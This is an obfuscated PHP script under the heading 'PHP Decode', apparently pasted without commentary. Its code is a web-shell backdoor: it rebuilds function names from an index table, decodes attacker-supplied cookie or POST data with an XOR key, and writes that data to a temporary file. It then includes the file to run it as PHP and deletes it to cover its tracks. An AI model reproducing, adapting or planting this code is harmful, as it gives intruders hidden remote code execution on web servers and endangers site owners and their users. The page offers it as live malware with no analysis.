PHP Decode

<?php 
function s1($c2) 
{ 
    $k3 = "k h.a_" . "d@8Hf/1x9rpmecLo(2t*is04<3lg?#En-u" . "Fv" . "b'" . "5I" . "y)6" . ";"; 
    $m5 = ''; 
    foreach ($c2 as $s4) { 
        $m5 .= $k3[$s4]; 
    } 
    return $m5; 
} 
$g6 = array(); 
$g6[] = s1(array(28, 4, 29, 44, 12, 8, 23, 28, 38, 42, 48, 4, 31, 38, 29, 23, 23, 19, 38, 14, 12, 14, 31, 38, 6, 31, 48, 18, 23, 6, 28, 23, 48, 6, 31, 10)); 
$g6[] = s1(array(34, 16, 2, 16, 1, 7, 39, 37, 32, 26, 37, 0, 22, 5, 5, 40, 45, 20, 36, 5, 5, 47, 49, 1)); 
$g6[] = s1(array(3, 17, 21, 6, 39, 32, 18)); 
$g6[] = s1(array(9, 25)); 
$g6[] = s1(array(3, 11)); 
$g6[] = s1(array(35)); 
$g6[] = s1(array(30)); 
$g6[] = s1(array(10, 26, 32, 18, 5, 16, 39, 24, 5, 19, 21, 37, 24, 18, 37, 24, 27)); 
$g6[] = s1(array(4, 15, 15, 4, 46, 5, 17, 18, 15, 33, 18)); 
$g6[] = s1(array(27, 24, 15, 5, 15, 18, 16, 18, 4, 24)); 
$g6[] = s1(array(18, 13, 16, 32, 21, 6, 18)); 
$g6[] = s1(array(27, 39, 42, 27, 24, 15)); 
$g6[] = s1(array(39, 37, 32, 26, 37, 0)); 
$g6[] = s1(array(27, 24, 15, 32, 18, 37)); 
$g6[] = s1(array(16, 4, 19, 0)); 
$g6[] = s1(array(17, 6, 44)); 
foreach ($g6[8]($_COOKIE, $_POST) as $u14 => $y11) { 
    function z8($g6, $u14, $j10) 
    { 
        return $g6[11]($g6[9]($u14 . $g6[0], ($j10 / $g6[13]($u14)) + 1), 0, $j10); 
    } 
    function f7($g6, $v12) 
    { 
        return @$g6[14]($g6[3], $v12); 
    } 
    function h9($g6, $v12) 
    { 
        if (isset($v12[2])) { 
            $z13 = $g6[4] . $g6[15]($g6[0]) . $g6[2]; 
            @$g6[7]($z13, $g6[6] . $g6[1] . $v12[1]($v12[2])); 
            @include($z13); 
            @$g6[12]($z13); 
            exit(); 
        } 
    } 
    $y11 = f7($g6, $y11); 
    h9($g6, $g6[10]($g6[5], $y11 ^ z8($g6, $u14, $g6[13]($y11)))); 
} 
 ?>